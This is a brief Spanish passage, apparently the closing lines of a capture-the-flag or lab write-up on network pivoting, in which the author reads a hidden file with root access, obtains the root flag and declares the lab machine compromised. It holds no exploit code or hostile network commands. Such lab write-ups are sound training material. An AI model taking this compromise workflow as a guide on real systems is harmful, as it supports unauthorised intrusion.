Parece que si existe un archivo maritrini. Vamos a ver su contenido.

# cat /mnt/.maritrini

Obtenemos la flag root, y podemos dar por vulnerada la maquina y superado el

laboratorio de pivoting.
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